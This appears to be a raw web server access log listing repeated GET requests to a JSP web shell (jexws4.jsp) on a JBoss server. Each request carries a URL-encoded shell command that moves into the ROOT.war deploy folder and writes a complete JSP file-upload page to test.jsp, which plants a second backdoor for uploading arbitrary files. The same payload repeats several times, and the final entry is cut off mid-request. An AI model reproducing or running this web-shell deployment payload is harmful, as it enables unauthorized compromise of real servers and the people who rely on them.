9+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S782925845 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S782919688 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S782913641 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+